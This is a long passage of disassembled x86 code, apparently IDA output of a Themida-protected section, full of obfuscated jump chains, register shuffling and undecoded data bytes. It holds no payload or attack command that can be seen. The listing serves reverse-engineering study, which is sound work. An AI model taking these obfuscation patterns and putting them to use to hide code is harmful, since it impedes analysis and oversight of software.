jmp loc_55DA4B ; --------------------------------------------------------------------------- dd 0E902EDC1h, 1E55h ; --------------------------------------------------------------------------- loc_5587D4: ; CODE XREF: Themida_:00555BD4j push eax mov eax, 4 jmp loc_557843 ; --------------------------------------------------------------------------- aQsd db 'Qéd',7,0 dd 31D3F700h, 31F331DEh, 63DAE9DEh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5587F2: ; CODE XREF: Themida_:00558CF9j push 23DDh mov [esp], esi pop eax mov esi, [esp] add esp, 4 jmp loc_55C7F3 ; --------------------------------------------------------------------------- db 81h, 0EBh, 9Dh dd 5F2CA61Eh, 31241C33h, 1C33241Ch, 53E7E924h, 0B5510000h dd 7EDC0B0h, 3086C580h, 0F66859EEh, 89000044h, 4DE9241Ch dd 8900001Ch, 4BA52E0h, 1000000h, 4055AD0h, 33000000h dd 92E92404h, 0BA00004Fh, 0E361BB2Ah, 815FFA01h, 0C811BBC7h dd 36B3E96Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_558862: ; CODE XREF: Themida_:00560106j push ebx push esp jmp loc_55FDB3 ; --------------------------------------------------------------------------- db 5Ch, 89h, 14h aUSTSxt1Ss7 db '$U½˜\T:º˜XT:1êéS7',0 dw 0BF00h dd 6FBF78F0h, 75BAC781h, 0E7810F4Ch, 5D03719Ah, 515CEF81h dd 0E7C16BC5h, 0A6EF8105h, 89F59994h, 0EB015FFDh, 53F3815Dh dd 815FB201h, 5B7150C6h, 7F47E955h, 13E90000h, 0FFFFFFC0h dd 0C8B2434h, 4C48124h, 83000000h, 0BF5704C4h, 4, 34FFF901h dd 12E95F24h, 89FFFFD8h, 405E0h, 0BA520000h, 67E01119h dd 2FC968h, 24148900h, 32A8E9h, 0CAEE8100h, 89E86AC3h dd 0D1E95EF5h, 81FFFFF4h, 0B81FF6E6h, 81DEF70Ch, 0B62CCCEEh dd 0E8E95328h, 5B000035h, 0FFCCDFE9h, 0C335FFFh, 240C3124h dd 8B240C33h, 24D22424h, 9BE99C24h, 0ACFFFFBFh, 0E951D830h dd 36CFh, 5C240C87h, 241C8966h, 52660FB7h, 0F0000BB6h dd 0F8285A66h, 2264E951h, 31660000h, 1042E9D8h, 44BA0000h dd 1184104h, 81565AD0h, 4ECh, 240C8900h, 5E36DBB9h, 0F0C18136h dd 89E96800h, 240C8BCEh, 44FBE9h, 0BD355A00h, 516A2712h dd 0D8E547B9h, 0E9C80195h, 65Ch, 240C8B54h, 8104C483h dd 4C1h, 4BF5700h, 81000000h, 200081E9h, 81F90156h, 200081C1h dd 47E95F56h, 0FF00006Eh, 34FF2434h, 0C4815824h, 4, 76BA68h dd 24048900h, 0FFE05DE9h, 24048BFFh, 4C481h, 3C870000h dd 24248B24h, 0E9240489h, 0FFFFBEDEh ; --------------------------------------------------------------------------- loc_5589F0: ; CODE XREF: Themida_:0055BCB4j jmp loc_5548CE ; --------------------------------------------------------------------------- loc_5589F5: ; CODE XREF: Themida_:0055E9C4j push esp jmp loc_55CC7F ; --------------------------------------------------------------------------- db 66h dd 50240C8Bh, 6467E9h, 24048B00h, 5B04C483h, 8FE68159h dd 0C15C5659h, 0CEE903EEh db 0Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_558A1B: ; CODE XREF: Themida_:00556BA3j xor ecx, 0BB5FFBFFh sub [edi+24h], ecx pop ecx loc_558A25: ; CODE XREF: Themida_:00558310j push esi sub esp, 4 mov [esp], esp add dword ptr [esp], 4 jmp loc_55CCD4 ; --------------------------------------------------------------------------- db 81h dd 0AF4362F6h, 0F429E90Ch, 0F750FFFFh, 0E9582414h, 2930h dd 69C281h, 0C281742Eh, 67B30FB2h, 0EA81CA01h, 67B30FB2h dd 69EA81h, 0C8B742Eh, 4C48124h, 33000000h, 14312414h dd 24143324h, 0FE24248Bh, 0E99C240Ch, 0FFFFC0DBh, 2474FF57h dd 2CDDE904h, 0D3010000h, 2523C381h, 505A59C0h, 4B8h, 16BF5700h dd 0E937681Ah, 4663h, 4C781h, 0F4E90000h, 81000059h, 41D9C2E9h dd 97DE92Fh, 0C4810000h, 4, 81E18951h, 4C1h, 4E98100h dd 87000000h, 895C240Ch, 0E789243Ch, 0FFD291E9h, 6C8166FFh dd 7CE00424h, 246C8166h, 0E931F704h, 0FFFFBFD9h, 34AF2B9h dd 59C8894Bh, 8158C631h, 3504AFF6h, 8BF0297Eh, 0BB682434h dd 8900004Bh, 0E9542404h, 0FFFFD471h, 8105EDC1h, 9E07FFC5h dd 5DEA89FEh, 203DA01h, 8124148Bh, 4C4h, 2434FF00h, 0FFCF97E9h dd 4EC83FFh, 83242489h, 8B042404h, 0C4832404h, 40504h dd 0ECE90000h, 8300000Bh, 0FF042404h, 0E95B2434h, 682h dd 0FFBD65E9h db 0FFh ; --------------------------------------------------------------------------- loc_558B69: ; CODE XREF: Themida_:0055A26Aj and eax, ebp pop ebp shr eax, 0Ch xor eax, ecx push eax xchg ebx, [esp] not ebx xchg ebx, [esp] push dword ptr [esp] mov eax, [esp] add esp, 4 push 11FEh mov [esp], ebx push esp pop ebx add ebx, 4 push ebp jmp loc_55A8AE ; --------------------------------------------------------------------------- aISiu db 'ˆÙ[(Ëé¨U',0 dw 5700h dd 1752E9h, 4C48100h, 0E9000000h, 68F5h, 8F04C483h, 555C2404h dd 0E904EC83h, 304Eh, 8F2F780h, 0F5805BFDh, 35D2E903h dd 3F680000h, 89000069h, 0E6892434h, 4C681h, 37E90000h dd 66FFFFC4h, 5724048Bh, 0FFCC64E9h, 241C87FFh, 8B54515Ch dd 0C483240Ch, 4C18104h, 0E9000000h, 36DFh ; --------------------------------------------------------------------------- loc_558C08: ; CODE XREF: Themida_:0055C0BAj xor [esp], eax xor eax, [esp] mov esp, [esp] mov [esp], ebp push 68CC0EC6h mov ebp, [esp] jmp loc_55E664 ; --------------------------------------------------------------------------- db 0BAh, 5Ch, 0F1h dd 66056523h, 0E96F3720h, 88Ch, 8304C483h, 0C48104C4h dd 4, 0E904EC83h, 6B97h, 0CAE943B1h, 52FFFFF4h, 731D968h dd 0D2F75A50h, 56E28142h, 513F9E53h, 0B9h, 0E9D12900h dd 2D3Eh, 0C178FBFh, 0E9F82905h, 6A32h, 0BF3F4BBBh, 5BDE312Eh dd 0E95EF389h, 0FFFFBE31h, 5AFBC381h, 0C3815843h, 0F7889A58h dd 815BDA21h, 247291EAh, 2EAC116h, 69E4EA81h, 16E9A924h dd 0B8FFFFEFh, 6FAA5BEAh, 462DEE05h, 0EDE9522Ah db 12h, 2 dup(0) ; --------------------------------------------------------------------------- loc_558CB7: ; CODE XREF: Themida_:0055BD5Cj add eax, ecx sub esp, 4 mov [esp], ecx mov ecx, 69106416h sub eax, ecx pop ecx jmp loc_55A3B7 ; --------------------------------------------------------------------------- loc_558CCC: ; CODE XREF: Themida_:0055C5C6j push esi mov esi, 5E992047h xor [esp+4], esi pop esi push dword ptr [esp] pop esi push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] mov esp, [esp] push ecx mov ecx, 5E992047h xor esi, ecx pop ecx jmp loc_5587F2 ; --------------------------------------------------------------------------- dw 0BA52h dd 0 dd 0D187CA29h, 2E1C15Ah, 414BC181h, 0BA520CB8h, 3C3D24C9h dd 0FFE2CFE9h db 0FFh ; --------------------------------------------------------------------------- loc_558D1D: ; CODE XREF: Themida_:005602BFj pop ebx jmp loc_558586 ; --------------------------------------------------------------------------- db 4Bh dd 0F381EBD1h, 2F8239E1h, 4B16C381h, 0DD01C87Dh, 0EDE4E95Bh dd 0D6BDFFFFh, 8966358Eh, 45E9EFh, 525F0000h, 42474FFh dd 24048F5Ah, 0FFC747E9h, 7AE9ADFFh, 0BF000073h, 3FFB4615h dd 56EF8147h, 0F7E7DFD7h, 5EE956D7h, 5900003Eh, 2EC81h dd 0C4E90000h, 81000046h, 4C7h, 50E6800h, 3EE90000h, 5D000026h dd 8F5B951h, 32E900A9h db 56h, 2 dup(0) ; --------------------------------------------------------------------------- loc_558D97: ; CODE XREF: Themida_:0056031Dj mov edx, 3D1F1135h jmp loc_55D375 ; --------------------------------------------------------------------------- db 66h, 68h, 0ACh dd 0F389E909h, 0C281FFFFh, 3FFF7F03h, 835AD101h, 0C3304C1h dd 240C3124h, 8B240C33h, 0FCE92424h, 66000052h, 20C8B050h dd 835866C1h, 1C8904ECh, 509EB724h, 0E9B7B353h, 6C54h dd 4EC81h, 1C890000h, 0E9BA5224h, 68426501h, 0CAh, 0B9240C89h dd 175107Bh, 4164E181h, 0C18145A0h, 0EEF27BFBh, 8959CA01h dd 6608E9D3h, 34FF0000h, 24348B24h, 0E904C483h, 1C1Ah dd 4BE5659h, 0E9000000h, 8A3h, 0C381E389h, 4, 8704C383h dd 0E95C241Ch, 63F5h, 5A205721h, 0FFBF83E9h, 243487FFh dd 1489665Ch, 9C506624h, 0FFBA75E9h, 81E589FFh, 4C5h, 4C58300h dd 5C242C87h, 67C380h, 0DBB551C3h, 7D1AE9h, 8BD33100h dd 0C4812414h, 4, 5601E9h, 24343300h, 6624248Bh, 66C8AF0Fh dd 9FE99C51h, 64000007h, 2FE932FFh, 28FFFFBAh, 0F2E95AF3h dd 8FFFFFFCh, 4832404h, 4CE90424h, 5E000068h, 1C8BDF01h dd 0E7895724h, 4C781h, 0C7810000h, 4, 0FFED78E9h db 0FFh ; --------------------------------------------------------------------------- loc_558ECD: ; CODE XREF: Themida_:0055CD84j push edx mov edx, 68576E89h push 6B8Dh mov [esp], esi mov esi, 1158712Dh add esi, 5C72CF3h push ecx jmp loc_556018 ; --------------------------------------------------------------------------- dd 8B241487h, 0B0E92424h, 0FF000059h, 34FF2434h, 2434FF24h dd 83240C8Bh, 895304C4h, 4C381E3h, 81000000h, 4C3h, 241C8700h dd 0DC68555Ch, 5400002Bh, 8124048Fh, 42404h, 815D0000h dd 4C5h, 4C58300h, 5C242C87h, 4C481h, 34FF0000h, 2434FF24h dd 0FFE1F4E9h, 81E189FFh, 4C1h, 4C18300h, 8B240C87h, 0CCE92424h db 6, 2 dup(0) ; --------------------------------------------------------------------------- loc_558F5F: ; CODE XREF: Themida_:005607BEj push ebx mov ebx, 28AE276Dh xor ecx, ebx pop ebx dec ecx xor ecx, 1ACF00FFh xor eax, ecx mov ecx, [esp] jmp loc_55F5CC ; --------------------------------------------------------------------------- db 87h, 1Ch, 24h dd 6852665Ch, 2AF9h, 0E9240489h, 6018h, 0E92C77FFh, 0FFFFF922h dd 45368h, 24148900h, 0E9501AB2h, 33F1h, 1AA3BD55h, 91E969BCh dd 59000043h, 100368h, 242C8900h, 168h, 242C8B00h, 2104C483h dd 242C8BE8h, 52E68956h, 143A0BBAh, 6EAC12Dh, 38B5C281h dd 814A5C5Dh, 0A87719C2h, 0B1F28178h, 81D5BA00h, 0E164AFEEh dd 0E9D60177h, 0FFFFCB30h, 8BC20159h, 89502404h, 5819E9E0h db 2 dup(0) ; --------------------------------------------------------------------------- loc_559002: ; CODE XREF: Themida_:0055A0F4j push edi mov edi, esp add edi, 4 add edi, 4 jmp loc_554CF1 ; --------------------------------------------------------------------------- db 0F6h dd 0E9ECD0D4h, 1882h, 543FB22Dh, 0C197E962h, 68ADFFFFh dd 5D3Ch, 52243C89h, 1421ED68h, 81425A5Fh, 8546A0F2h, 0E9D78938h dd 0FFFFC64Eh, 4C4815Fh, 81000000h, 8CA801C1h, 8BC83119h dd 0C483240Ch, 83C33104h, 3C8904ECh, 0C496E924h, 0F187FFFFh dd 0FFD6A1E9h, 0D6BD55FFh, 0E902BF1Eh, 0FFFFD0F6h, 4C581h dd 0E9530000h, 3FDBh ; --------------------------------------------------------------------------- loc_559084: ; CODE XREF: Themida_:0055823Aj mov edx, [esp] add esp, 4 jmp loc_5579E3 ; --------------------------------------------------------------------------- dd offset dword_51E548+439h db 82h dd 0C1814166h, 6FA579C5h, 0FFECB3E9h, 56B951FFh, 0E931297Dh dd 0FF9h, 1D5268h, 24248900h, 4BD55h, 6C010000h, 0E95D0424h dd 9EFh, 24148966h, 0B4E939B6h, 0BDFFFFCCh, 220135C5h dd 295DEA29h, 0CBB6E9D6h, 0E901FFFFh, 4C1815Dh, 87000000h dd 0E95C240Ch, 464Ch, 50241C8Bh, 0FFD988E9h, 4CB753FFh dd 665BFD00h, 0C106853h, 4890000h, 0E907E924h, 48B7FFFFh dd 0E905EFC0h, 6C8Ch, 0F3E9515Bh, 87000019h, 248B2414h dd 242CD224h, 0B7A0E99Ch, 1C89FFFFh, 0E9F38824h, 4C34h dd 83240C8Bh, 1C3304C4h, 241C3124h, 5C241C33h, 0FFDCA4E9h dd 253A68FFh, 8F540000h, 4812404h, 424h, 24048F00h, 0FFE4EDE9h db 0FFh ; --------------------------------------------------------------------------- loc_559165: ; CODE XREF: Themida_:005573F9j neg edi neg edi sub edi, 982C36BDh jmp loc_55EFE0 ; --------------------------------------------------------------------------- dd 0FEC2CB80h, 0CA9E9CBh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55917E: ; CODE XREF: Themida_:00557845j pop eax xor edx, [esp] xor [esp], edx xor edx, [esp] mov esp, [esp] shr eax, 10h xor eax, ecx push 610Ah mov [esp], eax push 799Bh mov [esp], edx push esp pop edx add edx, 4 push ecx mov ecx, 4 add edx, 370518ABh sub edx, ecx sub edx, 370518ABh pop ecx xchg edx, [esp] mov esp, [esp] mov [esp], edx pop eax pop edx push edx not dword ptr [esp] pop edx xor eax, edx xor edx, eax jmp loc_5571CC ; --------------------------------------------------------------------------- dw 77FFh dd 58669D1Ch, 24041166h, 0B6E8E99Ch, 5451FFFFh, 4BD5559h dd 1000000h, 0C1835DE9h, 74FF5104h, 8F590424h, 815C2404h dd 4C3h, 4C38300h, 2474FF53h, 48F5B04h, 24248B24h, 159E9h dd 77E95F00h db 0BAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55921F: ; CODE XREF: Themida_:0055522Fj pop edx push 6CF3h jmp loc_555970 ; --------------------------------------------------------------------------- dw 0EB81h dd 55C828D1h, 3214B850h, 0B9512AFEh, 438CFC03h, 0FFD306E9h dd 0B688E9FFh, 5B54FFFFh, 4C381h, 0E9520000h, 1320h, 913415BAh dd 70AE926h, 0E94A0000h, 1706h, 0DBD6E95Fh, 7768FFFFh dd 89000026h, 0E955242Ch, 13E0h, 0A7E38058h, 0E9A0B050h dd 0FFFFC0AFh ; --------------------------------------------------------------------------- loc_559284: ; CODE XREF: Themida_:00555535j xchg esi, [esp] pop esp sub esp, 4 mov [esp], ebx mov ebx, 774E602Ch xor eax, ebx push dword ptr [esp] mov ebx, [esp] add esp, 4 jmp loc_555EAE ; --------------------------------------------------------------------------- dw 8956h dd 4BA52E6h, 1000000h, 68E95AD6h, 80000022h, 0C38098C3h dd 0E81DE947h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5592C2: ; CODE XREF: Themida_:005548D5j mov bx, [esp] jmp loc_55DA92 ; --------------------------------------------------------------------------- db 0C1h dd 0F75704EFh, 0A8E92414h db 65h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5592D7: ; CODE XREF: Themida_:00557188j mov esp, [esp] add ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp add esp, 4 test ecx, eax pushf jmp loc_5548CE ; --------------------------------------------------------------------------- dw 1DB1h dd 7A6E9h, 0EEE95100h db 78h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5592FF: ; CODE XREF: Themida_:0056012Aj push ecx push ebx push 6297h jmp loc_559A18 ; --------------------------------------------------------------------------- db 81h dd 4C4h, 243C8700h, 2404315Ch, 0B5B0E99Ch, 8951FFFFh, 7FBB53E1h dd 0F757A014h, 5DE381D3h, 0D1516C53h, 0C3814BEBh, 0FFD9DE85h dd 815BD901h, 4C1h, 0F420E900h, 1C33FFFFh, 0A43E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55934E: ; CODE XREF: Themida_:00559950j pop esp or ecx, 4693534Eh push eax mov eax, 7A021F7Dh jmp loc_556E9B ; --------------------------------------------------------------------------- loc_559360: ; CODE XREF: Themida_:0055FABCj xor eax, edi xor edi, eax xor eax, edi jmp loc_55BA8F ; --------------------------------------------------------------------------- db 89h dd 6C90E9F5h, 4310000h, 0B554E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55937A: ; CODE XREF: Themida_:005567A7j mov dl, ch jmp loc_55BF82 ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 21F7E9h, 4EC8300h, 68243C89h, 1C545BA7h, 3996E95Fh dd 0EE810000h, 75881BDFh, 0FFFFC6E9h db 0FFh ; --------------------------------------------------------------------------- loc_5593A5: ; CODE XREF: Themida_:0055DC00j add esp, 4 sub bl, 1Dh push esi mov esi, esp add esi, 4 jmp loc_55FB00 ; --------------------------------------------------------------------------- loc_5593B9: ; CODE XREF: Themida_:00558391j add dword ptr [esp], 3DC0487Dh jmp loc_55F278 ; --------------------------------------------------------------------------- loc_5593C5: ; CODE XREF: Themida_:0055AAEEj push edi pop ebp pop edi xchg ebx, ebp jmp loc_557805 ; --------------------------------------------------------------------------- db 8Bh dd 0C481242Ch, 4, 8159CF01h, 777067EFh, 51CF0168h, 0FFE1E7E9h db 0FFh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_5581A9 ; --------------------------------------------------------------------------- loc_5593F7: ; CODE XREF: Themida_:005556C0j sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], eax pop edi mov eax, [esp] jmp loc_56095E ; --------------------------------------------------------------------------- db 58h, 87h, 34h dd 0C895C24h, 0B4B4E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55941A: ; CODE XREF: Themida_:00556A9Fj push ecx mov ch, 35h dec ch jmp loc_55F1E6 ; --------------------------------------------------------------------------- dd 8DF18149h, 891150B5h, 6502E9C8h, 0EDC10000h, 8E5C103h dd 67E9D5F7h, 8100006Fh, 721234C9h, 0F9E18172h, 493EEB06h dd 3A63BE56h, 0C6816EEEh, 5D552DB8h, 0CE81464Eh, 5E41912h dd 0A77EC681h, 0F1315EAAh, 3E1C15Eh, 0E894C181h, 0CF01683Eh dd 243C8759h, 2424D35Ch, 0FFB44DE9h, 5EF509FFh, 5EDC145h dd 0D534ED81h, 0EA29CB1Ah, 0FFE2E1E9h, 81D9F7FFh, 4ECh dd 24048900h, 15605EB8h, 3E8C128h, 0A3E9D0F7h, 5000002Eh dd 42474FFh, 0E924048Bh, 7FAh, 0BB53D001h, 6F372066h, 4FF4B951h dd 0E18141D9h, 24204DC3h, 0E1C18149h, 816A1006h, 50012C1h dd 59C801FCh, 98E9D829h, 56000023h, 0FFC35EE9h, 4C383FFh dd 5C241C87h, 0D975B52Dh, 3BFDE958h, 4B90000h, 1000000h dd 240C8BCAh, 4C481h, 14870000h, 0E3EFE924h, 1C8BFFFFh dd 4C48324h, 0C8F0E95Eh, 148BFFFFh, 4C48124h, 0E9000000h dd 0FFFFB908h, 89240489h, 0E851E9E0h, 8B54FFFFh, 0C481242Ch dd 4, 4C581h, 7AE90000h db 0D4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55954F: ; CODE XREF: Themida_:0055C6D2j pop eax push ecx push edx mov edx, 6F055C9Dh mov ecx, 3E8C2690h not ecx push edx push eax mov eax, 5A855FAEh mov edx, 0A813C44Ch add edx, eax pop eax xor ecx, edx pop edx push esi mov esi, 1F5320BBh xor ecx, esi pop esi jmp loc_556873 ; --------------------------------------------------------------------------- dw 0E958h dd 0FFFFD8EAh, 72D768h, 240C8900h, 4C67E9h, 56D7F700h dd 9B5489BEh, 0F7D6F72Ah, 49F681D6h, 0F777D22Ah, 709CE9D6h dd 1C8B0000h, 4C48124h, 50000000h, 0FFE65EE9h, 243C8BFFh dd 5690E9h, 24348900h, 4BEh, 8BF70100h, 0C4812434h, 4 dd 0FFDDA8E9h db 0FFh ; --------------------------------------------------------------------------- loc_5595D9: ; CODE XREF: Themida_:0055D260j push edx mov edx, 37517E54h shr edx, 6 not edx jmp loc_554EB7 ; --------------------------------------------------------------------------- db 0C1h, 0E6h, 3 dd 5126CE81h, 0D6F706BFh, 51ABC681h, 0F28916BFh, 2AC6E9h dd 11BF5700h, 814A6E62h, 2B52FECFh, 0EFC1477Ah, 79EF8103h dd 0E9DA50C7h, 6CBCh, 0D5F7D5F7h, 9744ED81h, 47E98135h dd 0FFFFFFC0h, 48B2434h, 50F6E924h, 93E90000h db 0B2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55963B: ; CODE XREF: Themida_:0055B9CBj mov ebx, 50145E64h add edi, ebx jmp loc_5563D4 ; --------------------------------------------------------------------------- db 0FFh dd 0C8B2434h, 4C48124h, 81000000h, 4ECh, 241C8900h, 0BE56E389h dd 325F5D43h, 0FFD79DE9h, 22BABFFFh, 0FE907E9h, 0FFFFFFCCh dd 21E92434h, 3000003Dh, 0B3535AD0h, 2C38071h, 0FE5BD808h dd 51FA0CC0h, 0E83091B5h, 1BD3E9h, 4BA00h, 6BE90000h db 4Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55969F: ; CODE XREF: Themida_:0055A4F0j pop esp jmp loc_55F919 ; --------------------------------------------------------------------------- db 89h, 0CBh, 8Bh dd 8952240Ch, 0B727E9E2h, 0ED80FFFFh, 5E5C023h, 0FFC479E9h dd 4C483FFh, 0C72DC801h, 596E0E1Ah, 63E9F829h, 1000058h dd 2434FFF1h, 0E9E9565Eh, 6600006Bh, 22474FFh, 240C8B66h dd 81E18951h, 4C1h, 0E947E900h, 6866FFFFh, 89663878h, 0F66240Ch dd 5166C8B6h, 0B1C8E99Ch, 3C89FFFFh, 815F5424h, 4C7h, 4C78300h dd 0FFF36FE9h, 0B505ADFFh, 558D975h, 42141BB2h, 2EC2E9h dd 10C38000h, 662DC380h, 0CCF4E959h, 0BF57FFFFh, 4, 53E9F829h dd 68FFFFCAh, 1ACEh, 0B9240C89h, 4, 0C8BC801h, 0F478E924h dd 481FFFFh, 424h, 24348B00h, 4C481h, 0A8680000h, 0E900001Bh dd 19F7h ; --------------------------------------------------------------------------- loc_559774: ; CODE XREF: Themida_:0055C4EDj push edx mov edx, 15C66A2Eh neg edx and edx, 4F1A318Eh inc edx sub edx, 33F1E52h jmp loc_554FF2 ; --------------------------------------------------------------------------- loc_55978E: ; CODE XREF: Themida_:0055EC43j push esi mov esi, 15311E63h push 55A4h jmp loc_55E00E ; --------------------------------------------------------------------------- dw 0F755h dd 565D2414h, 12BA5255h, 815CEF3Bh, 410F20C2h, 0BFE28160h dd 813F551Ch, 1C477AC2h, 8BD589C6h, 79E92414h, 0BB000050h dd 4, 3415C781h, 0DF012691h, 0FA7AE952h, 77FFFFFFh, 58669D1Ch dd 9C240410h, 0FFB0E5E9h db 0FFh ; --------------------------------------------------------------------------- loc_5597E9: ; CODE XREF: Themida_:0055FAFBj or eax, 59203501h xor eax, 0F087AA6h add eax, 52B523A8h xor eax, 5C97787Dh add eax, 79B4F730h xor eax, 1F557F1Fh xor ecx, eax jmp loc_55AE32 ; --------------------------------------------------------------------------- dw 0E95Dh dd 54F4h, 0E781474Fh, 38060474h, 3BCDF781h, 0FE9270Dh dd 29FFFFE0h, 0E8015DE8h, 0CF371105h, 21FA2D46h, 1CE977C2h dd 5900005Ch, 4C481h, 0C3800000h, 81C32819h, 2ECh, 0C896600h dd 88B35324h, 0E980E952h, 48FFFFFh, 0D691E924h, 48FFFFFh dd 24248B24h, 24048B66h, 1E7A68h, 592BE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_559876: ; CODE XREF: Themida_:00557288j or edi, 0B075921h shl edi, 6 dec edi add edi, 5E2C7D1Bh add ebx, edi pop edi sub eax, ebx push dword ptr [esp] pop ebx push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp push dword ptr [edi+eax*4] add dword ptr [esp], 32221EC9h jmp loc_55C9ED ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 82EE9h, 55575C00h, 0FFF479E9h, 42E95EFFh, 28000019h dd 2D0458E6h, 2D2CF000h, 0FFC512E9h, 24048BFFh, 8104C483h dd 4C4h, 94685500h, 8900004Eh, 4832424h, 0E95D0424h, 0FFFFEDEFh dd 2474FF51h, 6D0DE904h, 2D5E0000h, 0E59BD148h, 48BC389h dd 4C48324h, 1C8BD829h, 0E9545524h, 3396h, 0A32EF81h, 57560D01h dd 0E9F1895Eh, 0FFFFEB32h, 0E9240489h, 0FFFFAF9Eh, 3F04D828h dd 5E08950h, 4, 8704E883h, 895C2404h, 8DB62414h, 0FFB317E9h db 0FFh ; --------------------------------------------------------------------------- loc_55994D: ; CODE XREF: Themida_:00555C7Ej xchg edx, [esp] jmp loc_55934E ; --------------------------------------------------------------------------- loc_559955: ; CODE XREF: Themida_:0055B48Fj add bl, 0E0h add bl, 57h push eax jmp loc_55D412 ; --------------------------------------------------------------------------- loc_559961: ; CODE XREF: Themida_:00557ACFj add edi, edx jmp loc_55BC82 ; --------------------------------------------------------------------------- aZsT db ')×ZéÇT',0 align 10h dd 555B5453h, 204E9h, 1AEB8100h, 521CE873h, 380BBD55h dd 0E9552917h, 0CF1h, 127CF181h, 28E9D20Eh, 0B1FFFFB4h dd 0E9CB284Eh, 5C52h, 0ADD6866h, 242C8966h, 0A4DC6866h dd 2AAAE9h, 240C8700h, 51D5E9h, 24048B00h, 4C481h, 7CE90000h dd 0B8FFFFECh, 79E04721h, 3C18F12Dh, 5D8DE967h, 8B5A0000h dd 8956240Ch, 5ABF57E6h, 0E93B8275h, 0FFFFBC9Dh ; --------------------------------------------------------------------------- loc_5599E8: ; CODE XREF: Themida_:00560159j push ebp xor dword ptr [esp], 18E729C5h pop eax xor eax, 18E729C5h mov ebp, [esp] jmp loc_55AF04 ; --------------------------------------------------------------------------- dw 6857h dd 266A61F6h, 81243C8Bh, 4C4h, 0F7EF8700h, 0E9EF31D5h dd 0FFFFC470h ; --------------------------------------------------------------------------- loc_559A18: ; CODE XREF: Themida_:00559306j mov [esp], edx mov dh, al mov bl, dh mov edx, [esp] add esp, 4 push eax mov ah, bl jmp loc_5571C1 ; --------------------------------------------------------------------------- db 52h, 89h, 0E2h dd 4C281h, 0A7E90000h, 8700004Bh, 0E95C2414h, 3FE5h ; --------------------------------------------------------------------------- loc_559A44: ; CODE XREF: Themida_:0055A2DCj add ebp, 4 xchg ebp, [esp] pop esp add ebp, 4 push ebp push dword ptr [esp+4] jmp loc_55F728 ; --------------------------------------------------------------------------- dw 7429h dd 44810424h, 7FD60424h, 44815F65h, 0B1C0424h, 8B5E73F0h dd 89522404h, 8CBB53E2h, 4355BC0Ah, 47EFE9h, 8BDF8900h dd 0C483241Ch, 8BFA0104h, 0AAE9243Ch, 8700005Ch, 9DE9240Ch dd 0F6FFFFDAh, 80D1F6D9h, 0D1F696E1h, 0D7E980h, 4DE959CFh dd 8F00004Fh, 0EC812404h, 4, 2594E9h, 81E58900h, 4C5h dd 0C9BFE900h, 0C281FFFFh, 4, 2BD55h, 0EA810000h, 11740E4Ah dd 0FFD225E9h, 15E5BAFFh, 685730BDh, 25AA0A48h, 5707E9h dd 50E68900h, 4B8h, 58C60100h, 4C681h, 34870000h, 0FDABE924h dd 8B66FFFFh, 1668240Ch, 0E900000Ch, 75Dh, 344CE95Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_559B22: ; CODE XREF: Themida_:0055A7B2j add edi, ecx jmp loc_55DBD0 ; --------------------------------------------------------------------------- db 5Fh, 52h, 0E9h dd 19C1h, 4350BD55h, 0CD8167D7h, 5A4263C0h, 0ED81DDF7h dd 89CFE1F3h, 505DEA31h, 0FFD9CFE9h, 8B8BDFFh, 0CD81734Dh dd 27BE572Bh, 0CE1E9h, 0D7F75900h, 30296897h, 4890000h dd 2414F724h, 0CBE3E958h, 0EC81FFFFh, 4, 0FFDD28E9h, 361BDFFh dd 0D5F710ACh, 0FFE0F7E9h, 55D3F7FFh, 0F57FD1BDh, 81D5F724h dd 0B19B66F5h, 5DEB098Ch, 4C1FCB81h, 53525C75h, 404B23BBh dd 5BDA8918h, 15AD329h, 50E95BD8h, 8B000034h, 0BB68240Ch dd 0E9000072h, 4F82h, 81E28952h, 4C2h, 4C28300h, 5C241487h dd 2404A30Fh, 4C38E99Ch, 0F1010000h, 1A78E981h, 525E055Ch dd 965A60BAh, 0D6CA8114h, 815E6150h, 0F75AF2F2h, 6F89E95Eh dd 4680000h, 5B000000h, 0FFD6EAE9h, 0E9C889FFh, 6BB3h dd 4C6815Eh, 53000000h, 7D5D68h, 0C8A4E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_559C22: ; CODE XREF: Themida_:0055D61Ej add ah, 1 inc ah shl ah, 5 shl ah, 4 xor ah, 1 add bl, ah mov eax, [esp] add esp, 4 xor bl, 72h xor al, bl mov ebx, [esp] add esp, 4 sub esp, 4 jmp loc_555C08 ; --------------------------------------------------------------------------- dw 5450h dd 582434FFh, 4C481h, 4050000h, 56000000h, 2DE0E9h db 0 ; --------------------------------------------------------------------------- loc_559C65: ; CODE XREF: Themida_:005566BBj pop ecx and eax, esi push dword ptr [esp] push dword ptr [esp] pop esi push ebp mov ebp, esp add ebp, 4 push edi mov edi, 4 add ebp, edi pop edi jmp loc_55AD89 ; --------------------------------------------------------------------------- dw 0C780h dd 0DC0FE9BEh, 4BDFFFFh, 1000000h, 0C2E95DE9h, 81FFFFC8h dd 4ECh, 243C8900h, 382F71BFh, 5DB95144h, 17D3E1Bh, 0FEA7E9CFh db 2 dup(0FFh) ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_55C092 ; --------------------------------------------------------------------------- loc_559CC4: ; CODE XREF: Themida_:0055DD54j push ecx mov ecx, 756F2A34h or ebp, ecx pop 